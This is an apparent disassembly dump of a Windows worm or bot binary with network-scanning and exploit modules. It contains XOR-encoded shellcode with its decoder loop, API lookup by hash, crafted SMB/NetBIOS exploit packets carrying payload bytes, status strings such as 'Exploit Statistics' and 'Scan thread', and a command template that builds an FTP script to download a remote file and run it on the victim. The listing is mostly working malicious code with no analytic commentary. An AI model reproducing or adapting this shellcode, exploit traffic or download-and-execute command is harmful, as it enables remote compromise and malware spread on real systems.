.nsp0:loc_416597o dd 0FFFFFFFFh, 4165A4h, 0 dd offset loc_4165AC dword_417E8C dd 19930520h, 2, 417E7Ch, 4 dup(0) ; DATA XREF: .nsp0:loc_4165B4o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 4 dup(0) dd offset loc_4028A3 align 10h dd 2 dup(1), 417EB8h dword_417EDC dd 19930520h, 2, 417EA8h, 1, 417EC8h, 3 dup(0) ; DATA XREF: .nsp0:loc_4165C0o dd offset off_4209A8 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 41649Dh, 2 dup(0) dd offset off_4209C0 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 416221h, 2 dup(0) dd offset off_4209E0 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 4162F4h, 0 dword_417F58 dd 3, 417F38h, 417F18h, 417EF8h ; DATA XREF: .nsp0:00417F74o dword_417F68 dd 0 ; DATA XREF: sub_4160E0+47o ; sub_4162BB+12o dd offset sub_41627E dd 0 dd offset dword_417F58 dword_417F78 dd 19930520h, 1, 417F98h, 5 dup(0) ; DATA XREF: .nsp0:loc_4165D4o dd 0FFFFFFFFh, 4165CCh dword_417FA0 dd 19930520h, 1, 417FC0h, 5 dup(0) ; DATA XREF: .nsp0:loc_4165E8o dword_417FC0 dd 0FFFFFFFFh, 4165E0h, 2, 417F18h, 417EF8h, 0 ; DATA XREF: .nsp0:00417FE4o dword_417FD8 dd 0 ; DATA XREF: sub_4161AB+12o dd offset sub_4161C8 dd 0 dd offset dword_417FC0+8 dword_417FE8 dd 19930520h, 1, 418008h, 5 dup(0) ; DATA XREF: .nsp0:loc_4165FCo dd 0FFFFFFFFh, 4165F4h dword_418010 dd 19930520h, 1, 418030h, 5 dup(0) ; DATA XREF: .nsp0:loc_416610o dd 0FFFFFFFFh, 416608h dword_418038 dd 19930520h, 1, 418058h, 5 dup(0) ; DATA XREF: .nsp0:loc_416624o dd 0FFFFFFFFh, 41661Ch, 0 dd offset off_420A00 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 4163DCh, 0 dword_418080 dd 3, 418060h, 417F18h, 417EF8h ; DATA XREF: .nsp0:0041809Co dword_418090 dd 0 ; DATA XREF: sub_41630C+47o ; sub_4163A3+12o dd offset sub_416366 dd 0 dd offset dword_418080 dword_4180A0 dd 19930520h, 1, 4180C0h, 5 dup(0) ; DATA XREF: .nsp0:loc_416638o dd 0FFFFFFFFh, 416630h dword_4180C8 dd 19930520h, 1, 4180E8h, 5 dup(0) ; DATA XREF: .nsp0:loc_41664Co dd 0FFFFFFFFh, 416644h, 182A4h, 2 dup(0) dd 182E8h, 17178h, 1812Ch, 2 dup(0) dd 1897Ch, 17000h, 77h dup(0) dd 349h, 0 dd 169h, 3 dup(0) dd 69h, 3 dup(0) dd 175h, 4 dup(0) dd 0B00000h, 3 dup(0) dd 247h, 5 dup(0) dd 8Fh, 5 dup(0) dd 1D5h, 3 dup(0) dd 21Ah, 9 dup(0) dd 7Ah, 5 dup(0) dd 16Bh, 3 dup(0) dd 0AFh, 2 dup(0) dd 600000h, 4 dup(0) dd 2Eh, 2 dup(0) dd 3970000h, 2 dup(0) dd 4D0000h, 3 dup(0) dd 1B9h, 4 dup(0) dd 2480000h, 3 dup(0) dd 1980000h, 4 dup(0) dd 177h, 4 dup(0) dd 0EAh, 3 dup(0) dd 2000000h, 3 dup(0) dd 1F90000h, 3 dup(0) dd 365h, 3 dup(0) dd 25E0000h, 3 dup(0) dd 4E0000h, 5 dup(0) dd 314h, 2 dup(0) dd 15D0000h, 3 dup(0) dd 0B2h, 6 dup(0) dd 30Eh, 4 dup(0) dd 1560000h, 5 dup(0) ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 1, 2 dup(0) align 10h dd 389h, 4 dup(0) dd 26B0000h, 5 dup(0) dd 10Ch, 4 dup(0) dd 13Ah, 4 dup(0) dd 351h, 4 dup(0) dd 27Ch, 2 dup(0) dd 16C0000h, 4 dup(0) dd 1DFh, 3 dup(0) dd 7Ch, 2 dup(0) dd 13B0000h, 5 dup(0) dd 3Dh, 2 dup(0) dd 385h, 4 dup(0) dd 5A0000h, 3 dup(0) dd 2640000h, 2 dup(0) dd 1FA0000h, 5 dup(0) dd 1D6h, 3 dup(0) dd 13F0000h, 4 dup(0) dd 352h, 3 dup(0) dd 2060000h, 2 dup(0) dd 20C0000h, 2 dup(0) dd 2CC0000h, 2 dup(0) dd 2100000h, 3 dup(0) dd 1D8h, 5 dup(0) dd 1BE0000h, 3 dup(0) dd 1AF0000h, 4 dup(0) dd 108h, 3 dup(0) dd 1DE0000h, 3 dup(0) dd 150h, 5 dup(0) dd 20A0000h, 3 dup(0) dd 208h, 2 dup(0) dd 3780000h, 3 dup(0) dd 375h, 3 dup(0) dd 22Ch, 3 dup(0) dd 29Dh, 3 dup(0) dd 2120000h, 2 dup(0) dd 2AB0000h, 2 dup(0) dd 23A0000h, 3 dup(0) dd 23B0000h, 3 dup(0) dd 0FC0000h, 2 dup(0) dd 0F50000h, 2 dup(0) dd 18Bh, 2 dup(0) dd 310h, 3 dup(0) dd 3620000h, 6 dup(0) dd 0ED0000h, 6 dup(0) dd 0EEh, 5 dup(0) dd 14D0000h, 5 dup(0) dd 14F0000h, 6 dup(0) dd 319h, 3 dup(0) dd 1B10000h, 3 dup(0) dd 15E0000h, 3 dup(0) dd 33Dh, 6 dup(0) dd 2290000h, 3 dup(0) dd 2260000h, 3 dup(0) dd 1B20000h, 4 dup(0) dd 1B5h, 3 dup(0) dd 32C0000h, 3 dup(0) dd 0E50000h, 4 dup(0) dd 3050000h, 3 dup(0) dd 340000h, 4 dup(0) dd 35h, 3 dup(0) dd 3080000h, 1A7h dup(0) dword_419000 dd 0 ; DATA XREF: sub_40D118+1Fo dd offset sub_402951 dd offset sub_4163F4 dword_41900C dd 0 ; DATA XREF: sub_40D118+1Ao dword_419010 dd 0 ; DATA XREF: sub_40D118+10o dd offset sub_40C212 dd offset sub_412403 dd offset sub_4133A7 dd offset sub_413D82 dword_419024 dd 0 ; DATA XREF: sub_40D118:loc_40D123o dword_419028 dd 0 ; DATA XREF: sub_40D167+65o dd offset sub_41344C dword_419030 dd 0 ; DATA XREF: sub_40D167:loc_40D1C7o dword_419034 dd 0 ; DATA XREF: sub_40D167+76o dd offset sub_413D93 dword_41903C dd 0 ; DATA XREF: sub_40D167:loc_40D1D8o dword_419040 dd 682D61h, 0 ; DATA XREF: sub_40154B+FAo db 2 dup(0) word_41904A dw 5341h ; DATA XREF: .nsp0:00402FC0o dd 2D312E4Eh, 50545448h, 5 dup(0) dword_419068 dd 50h ; DATA XREF: sub_401000+1Er ; sub_406BAB+1865r ... off_41906C dd offset sub_4023B8 ; DATA XREF: sub_40154B+17Cr dword_419070 dd 0 ; DATA XREF: sub_401000+2Eo ; sub_4023B8+1BCr ... dword_419074 dd 1 ; DATA XREF: sub_401141+1Er dd 1, 32682D61h, 0 dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 4023B8h, 0 dd 2 dup(1), 33682D61h, 0 dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0) dd 8Bh, 4023B8h, 0 dd 2 dup(1), 3174656Eh, 0 dd 654E0000h, 69706174h, 3933312Dh, 5 dup(0) dd 8Bh, 402F69h, 0 dd 2 dup(1), 3274656Eh, 0 dd 654E0000h, 69706174h, 3534342Dh, 5 dup(0) dd 1BDh, 402F69h, 0 ; CODE XREF: sub_4191AA:loc_4191BFj dd 2 dup(1), 0Fh dup(0) ; --------------------------------------------------------------------------- jmp short loc_4191BA ; =============== S U B R O U T I N E ======================================= sub_4191AA proc near ; CODE XREF: sub_4191AA:loc_4191BAp pop edx dec edx xor ecx, ecx mov cx, 166h loc_4191B2: ; CODE XREF: sub_4191AA+Cj xor byte ptr [edx+ecx], 99h loop loc_4191B2 jmp short loc_4191BF ; --------------------------------------------------------------------------- loc_4191BA: ; CODE XREF: .nsp0:004191A8j call sub_4191AA loc_4191BF: ; CODE XREF: sub_4191AA+Ej jo short near ptr dword_419158+2 cwde cdq cdq retn sub_4191AA endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_401000+81o align 4 aSD_0 db ' %s: %d,',0 ; DATA XREF: sub_401000+42o align 4 unk_419348 db 1Fh ; DATA XREF: sub_401000+11o db 2, 73h, 2 db 1Fh db 63h, 61h, 6Eh db 20h db 2, 0BBh, 2 aExploitStatist db ' Exploit Statistics:',0 align 4 unk_41936C db 1Fh ; DATA XREF: sub_4010CA+42o db 2, 73h, 2 db 1Fh db 63h, 61h, 6Eh db 20h db 2, 0BBh, 2 aScanNotActive_ db ' Scan not active.',0 align 4 dword_41938C dd 273021Fh, 6E61631Fh, 2BB0220h, 754320BBh, 6E657272h ; DATA XREF: sub_4010CA+2Co dd 50492074h, 7325203Ah, 2Eh dword_4193AC dd 266021Fh, 2070741Fh, 0BB02BB02h ; DATA XREF: sub_401141+259o aFailedToStartS db ' Failed to start server, error: <%d>.',0 align 10h dword_4193E0 dd 266021Fh, 2070741Fh, 0BB02BB02h ; DATA XREF: sub_401141+1FBo aServerStartedO db ' Server started on Port: %d, File: %s, Request: %s.',0 unk_419420 db 1Fh ; DATA XREF: sub_401141+138o db 2, 74h, 2 db 1Fh db 66h, 74h, 70h db 20h db 2, 0BBh, 2 aFailedToStar_0 db ' Failed to start server, error: <%d>.',0 align 8 unk_419458 db 1Fh ; DATA XREF: sub_401141+D8o ; sub_406BAB+2CB3o db 2, 74h, 2 db 1Fh db 66h, 74h, 70h db 20h db 2, 0BBh, 2 aServerStarte_0 db ' Server started on Port: %d, File: %s, Request: %s.',0 align 4 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_401412+38o ; sub_405752+46o unk_4194A8 db 1Fh ; DATA XREF: sub_401704+1E0o db 2, 73h, 2 db 1Fh db 63h, 61h, 6Eh db 20h db 2, 0BBh, 2 aFinishedAtSDAf db ' Finished at %s:%d after %d minute(s) of scanning.',0 unk_4194E8 db 1Fh ; DATA XREF: sub_401704+168o db 2, 73h, 2 db 1Fh db 63h, 61h, 6Eh db 20h db 2, 0BBh, 2 aFailedToStartW db ' Failed to start worker thread, error: <%d>.',0 align 4 unk_419524 db 1Fh ; DATA XREF: sub_401704+103o db 2, 73h, 2 db 1Fh db 63h, 61h, 6Eh db 20h db 2, 0BBh, 2 aSDScanThreadDS db ' %s:%d, Scan thread: %d, Sub-thread: %d.',0 align 4 unk_41955C db 1Fh ; DATA XREF: sub_401704+87o db 2, 73h, 2 db 1Fh db 63h, 61h, 6Eh db 20h db 2, 0BBh, 2 aFailedToInitia db ' Failed to initialize critical section.',0 align 8 aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_401BC7+B2o align 4 dword_4195A4 dd 10FF8h, 0 ; DATA XREF: sub_401BC7+6Ao dword_4195AC dd 10FF8h ; DATA XREF: sub_401BC7+79o dword_4195B0 dd 7FFDF020h, 0 ; DATA XREF: sub_401BC7+162o dword_4195B8 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_401FE1+78o dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_419640 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_401FE1+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_419670 dd 0 ; DATA XREF: sub_401FE1+44o dd 800000D4h, 2 dup(0) unk_419680 db 81h ; ; DATA XREF: sub_4020C0+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 align 10h byte_4196D0 db 41h ; DATA XREF: sub_40215E+108r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 8 ; =============== S U B R O U T I N E ======================================= sub_419718 proc near ; DATA XREF: sub_4023B8+82o push ebx push esi push edi sub sp, 80h mov esi, esp call sub_419814 push dword ptr [esi] push 63D61209h call sub_41982A mov [esi+8], eax call sub_4197DD push dword ptr [esi+4] push 0CA2BD06Bh call sub_41982A mov [esi+0Ch], eax call sub_41978F push dword ptr [esi+4] push 4C0297FAh call sub_41982A xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_419718 endp ; =============== S U B R O U T I N E ======================================= sub_41978F proc near ; CODE XREF: sub_419718+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_4197B8 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_41978F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4197B8 proc near ; CODE XREF: sub_41978F+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_4197C7: ; CODE XREF: sub_4197B8+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_4197D4 inc ebx jmp short loc_4197C7 ; --------------------------------------------------------------------------- loc_4197D4: ; CODE XREF: sub_4197B8+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_4197B8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4197DD proc near ; CODE XREF: sub_419718+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_4197F5: ; CODE XREF: sub_4197DD+1Ej cmp [ecx], ebx jz short loc_4197FD mov ecx, [ecx] jmp short loc_4197F5 ; --------------------------------------------------------------------------- loc_4197FD: ; CODE XREF: sub_4197DD+1Aj mov edx, edi loc_4197FF: ; CODE XREF: sub_4197DD+2Aj cmp [edx+4], ebx jz short loc_419809 mov edx, [edx+4] jmp short loc_4197FF ; --------------------------------------------------------------------------- loc_419809: ; CODE XREF: sub_4197DD+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_4197DD endp ; =============== S U B R O U T I N E ======================================= sub_419814 proc near ; CODE XREF: sub_419718+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_419814 endp ; =============== S U B R O U T I N E ======================================= sub_41982A proc near ; CODE XREF: sub_419718+16p ; sub_419718+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_419840: ; CODE XREF: sub_41982A+33j jecxz short loc_41987A dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_41984D: ; CODE XREF: sub_41982A+2Dj lodsb cmp al, ah jz short loc_419859 ror edi, 0Dh add edi, eax jmp short loc_41984D ; --------------------------------------------------------------------------- loc_419859: ; CODE XREF: sub_41982A+26j cmp edi, [esp+20h+arg_0] jnz short loc_419840 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_41987A: ; CODE XREF: sub_41982A:loc_419840j ; sub_41982A:loc_41987Aj jmp short loc_41987A sub_41982A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_419880 proc near ; DATA XREF: sub_4023B8+30o arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_4198D2 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_41989D: ; CODE XREF: sub_419880+38j jecxz short loc_4198CD dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_4198A8: ; CODE XREF: sub_419880+32j lodsb test al, al jz short loc_4198B4 ror edx, 0Dh add edx, eax jmp short loc_4198A8 ; --------------------------------------------------------------------------- loc_4198B4: ; CODE XREF: sub_419880+2Bj cmp edx, [esp+arg_0] jnz short loc_41989D mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_4198CD: ; CODE XREF: sub_419880:loc_41989Dj mov [esp+arg_0], ebx retn sub_419880 endp ; =============== S U B R O U T I N E ======================================= sub_4198D2 proc near ; CODE XREF: sub_419880+7p ; FUNCTION CHUNK AT 0041990A SIZE 00000007 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_4198EB mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_4198F6 ; --------------------------------------------------------------------------- loc_4198EB: ; CODE XREF: sub_4198D2+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_4198F6: ; CODE XREF: sub_4198D2+14j pop edi xor esi, esi pusha push esi jmp short loc_41990A sub_4198D2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4198FD proc near ; CODE XREF: sub_4198D2:loc_41990Ap push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_4198FD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4198D2 loc_41990A: ; CODE XREF: sub_4198D2+29j call sub_4198FD loc_41990F: ; DATA XREF: sub_401B6C+1Bo ; sub_406BAB+74Ao add [ebx], ah ; END OF FUNCTION CHUNK FOR sub_4198D2 ; --------------------------------------------------------------------------- db 3 dup(0) dword_419914 dd 60h ; DATA XREF: sub_401BC7+320o dword_419918 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_401BC7+2F5o dword_419924 dd 30h ; DATA XREF: sub_401BC7+2CAo ; .nsp0:0041C3FCo dword_419928 dd 0A1h ; DATA XREF: sub_401BC7+29Fo dword_41992C dd 3 ; DATA XREF: sub_401BC7+246o aCccc db 'CCCC',0 ; DATA XREF: sub_401BC7+153o align 4 loc_419938: ; DATA XREF: sub_401BC7+E8o jmp short near ptr dword_419940 ; --------------------------------------------------------------------------- align 10h dword_419940 dd 2 dup(0) ; CODE XREF: .nsp0:loc_419938j aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: sub_4023B8+57o db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 10h aB: ; DATA XREF: sub_402972+ADo unicode 0, <> dw 4400h aCkfdenecfdef_0 db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacaca_0 db ' CACACACACACACACACACACACACACACAAA',0 align 10h dword_419A00 dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0) ; DATA XREF: sub_402972+CEo dd 8AC0000h, 0E5000000h, 2003100h, 4D4E414Ch, 2E314E41h dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh, 2 dup(0) dword_419A60 dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0) ; DATA XREF: sub_402972+E8o dd 8AC0000h, 0E5000000h, 0FF0Ch, 2FFDF00h, 100h, 4E000000h dd 0 dd 0D05C00h, 60007180h, 2B06064Ch, 5050106h, 3042A002h dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0 db 0 db 20h, 2 dup(0) db 0 db 0Ch, 0, 0Ch db 0 db 20h, 2 dup(0) db 0 aWorkstation1wi db 'WORKSTATION1Windows 2000 2195',0 aWindows20005_0 db 'Windows 2000 5.0',0 dd 2 dup(0) dword_419B18 dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0) ; DATA XREF: sub_402972+102o dd 8AC0000h, 0E5000800h, 0FF0Ch, 2FFDF00h, 100h, 94000000h dd 0 dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h dd 534D4C54h, 3005053h, 18000000h, 40001800h, 18000000h dd 58001800h, 0 dd 70000000h, 0 dd 70000000h, 18000000h, 70001800h, 2 dup(0) dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0) db 0 db 2 dup(0), 8Fh ; --------------------------------------------------------------------------- jno short loc_419C16 mov ecx, 484962Fh retf 0EE65h ; --------------------------------------------------------------------------- dw 0DAFBh db 0CEh ; db 9Eh, 0AFh, 28h db 8Eh ; db 0EEh, 7Ah, 54h db 69h ; i db 85h, 28h, 57h db 0 db 4Fh, 0, 52h db 0 db 4Bh, 0, 53h db 0 dd offset loc_410051+3 dd offset dword_490054 db 4Fh, 0, 4Eh db 0 db 31h, 0, 57h aIndows20002195 db 'indows 2000 2195',0 aWindows20005_1 db 'Windows 2000 5.0',0 align 10h dword_419C10 dd 3A000000h ; DATA XREF: sub_402972+119o db 0FFh, 53h ; --------------------------------------------------------------------------- loc_419C16: ; CODE XREF: .nsp0:00419BBCj dec ebp inc edx jnz short $+2 ; --------------------------------------------------------------------------- dw 0 dd 20011800h, 3 dup(0) dd 8AC0000h, 0E5000800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch dd 244350h, 3F3F3F3Fh, 3Fh dword_419C50 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0) ; DATA XREF: sub_402972+130o dd 8AC0800h, 0E5000800h, 0FF18h, 80000h, 16h, 0 dd 2019Fh, 3 dup(0) dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h, 2 dup(0) dword_419CB8 dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_402972+14Ao dd 8AC0800h, 0E5000800h, 48000010h, 0E0040000h, 0FFh, 2 dup(0) dd 48004A00h, 2004A00h, 2600h, 5C004F40h, 45504950h, 5005Ch dd 10030Bh, 480000h, 0 dd 16D00000h, 16D0h, 10000h, 0 dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h, 26048h dd 0 dword_419D50 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_402972+164o ; sub_402972+1DAo dd 8AC0800h, 0E5000800h, 0FF0Eh, 400000h, 0FF000000h, 8FFFFFFh dd 11800h, 3F011800h, 0 dd 5011800h, 10010000h, 18000000h, 1, 0 dd 1, 6B001F00h, 14C658Ch, 0 dd 1000000h, 0 dd 63366800h, 1, 63000000h, 4A000001h, 9F4340FCh, 9043F5F8h dd 489B404Fh, 0F54F4A42h, 98469337h, 6A4F4998h, 0EED95951h dd 0F42474D9h, 1373815Bh, 0AD136156h, 0E2FCEB83h, 0ECA5D7F4h dd 579EA942h, 5E8A3C51h, 0EC9EAF45h, 7FEA3652h, 56EA7289h dd 161DDD91h, 988E57D5h, 4CEA4EE2h, 5A8A578Dh, 12EA6226h dd 8AA16743h, 67A1D201h, 1EAB97AAh, 0E78A94ACh, 3B450296h dd 4CEAB3D8h, 758A5789h, 982A5A26h, 0F8604AF2h, 9AEA7AAEh dd 727D72C1h, 77BA676Eh, 98511526h, 63EA5AEDh, 53EAFBB1h dd 9D0908A5h, 438D58E3h, 40078052h, 21523ECBh, 211221C5h dd 0C39E02F2h, 0EF8C9DC5h, 0C59E0696h, 7584DFF2h, 1169BB2Ch dd 0EC633CF8h, 1AB83E7Dh, 0EC36FB58h, 4032057Bh, 402205FEh dd 0C39E05EEh, 0FCDF3ECBh, 0F2E805CBh, 0C53E38h, 0 dword_419EB0 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_402972+17Eo ; sub_402972+1F4o dd 8AC0800h, 0E5000800h, 0FF0Eh, 18400000h, 0FF000001h dd 8FFFFFFh, 11800h, 3F011800h, 0 dd 5011800h, 10000000h, 18000000h, 1, 0 dd 1, 9001F00h, 0EC3691DDh, 42713C7Bh, 7BB1A9F8h, 0FA4FFB09h dd 40B7A9FAh, 7BB1A9F8h, 5AE71F48h, 43B7A9FAh, 0EC3402F9h dd 0F409C57Dh, 441890D4h, 0EC348052h, 770B307Dh, 7E023ECBh dd 430BB324h, 9AAD7FF4h, 9A253C4Ah, 0E0A1674Fh, 3E23A807h dd 804D1453h, 0B8592C20h, 6109FD06h, 0EC77E553h, 0C59E12D8h dd 423301F6h, 120B07FCh, 423407FCh, 0BE098652h, 40AF5374h dd 0EC0B8052h, 0C39E6152h, 909D0126h, 0C59E3269h, 7BB1A9FFh dd 73819842h, 0ECB7A9FEh aR18zt89rmiyrru db '}R18zT89rMIyrrUxOD5Ldn90tdGUQ4xcbHSBmL1VZjHnU02M96tnEaW4RWvmqwAt8' db 'atPAlENccp4U21A45xy0anPR7ULgqNdyZCRr0ljcyOmnK7',0 align 10h dword_41A010 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_402972+198o ; sub_402972+20Eo dd 8AC0800h, 0E5000800h, 0FF0Eh, 30400000h, 0FF000002h dd 8FFFFFFh, 11800h, 3F011800h, 0 dd 5011800h, 10000000h, 18000000h, 1, 0 dd 1, 34001F00h, 31323231h, 416E5553h, 536C4D46h, 39646C65h dd 79656A43h, 71423371h, 72736837h, 5A4E4241h, 6F7A7255h dd 32423650h, 35727354h, 69577A65h, 71695269h, 5353656Ch dd 4C687364h, 4B633767h, 665A6836h, 7053536Ah, 6552385Ah dd 45786F58h, 615A547Ah, 716C4F55h, 32397643h, 55347731h dd 6752794Bh, 346B734Eh, 59737474h, 484B4C5Ah, 5A333335h dd 37304144h, 796F4E68h, 536E6337h, 0A644454h, 32000208h dd 46377936h, 4534979h, 6F000208h, 6A695059h, 584A5559h dd 52496165h, 49475966h, 63483643h, 6C7A3476h, 3859636Ah dd 44B4B50h, 49000208h, 6E5A5671h, 46C554Fh, 77000208h dd 634D6F6Bh, 39716F79h, 61716D4Eh, 674A696Ah, 65526C36h dd 49637A79h, 58526F70h, 793833h, 0AE576800h, 1000000h dd 0 dd 1000000h, 0 dd 0AD91A700h, 2 dup(0) dword_41A170 dd 66000000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_402972+1AFo ; sub_402972+225o dd 8AC0800h, 0E5000800h, 1C000010h, 0E0040000h, 0FFh, 2 dup(0) dd 1C004A00h, 2004A00h, 2600h, 5C002340h, 45504950h, 5005Ch dd 100200h, 1C0000h, 0 dd 40000h, 0 dd 1Fh, 2 dup(0) unk_41A1E0 db 81h ; ; DATA XREF: sub_402972+283o db 2 dup(0), 44h aCkfdenecfdef_1 db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacaca_1 db ' CACACACACACACACACACACACACACACAAA',0 align 10h dword_41A230 dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0) ; DATA XREF: sub_402972+2A4o dd 2D80000h, 97230000h, 2003100h, 4D4E414Ch, 2E314E41h dd 4C020030h, 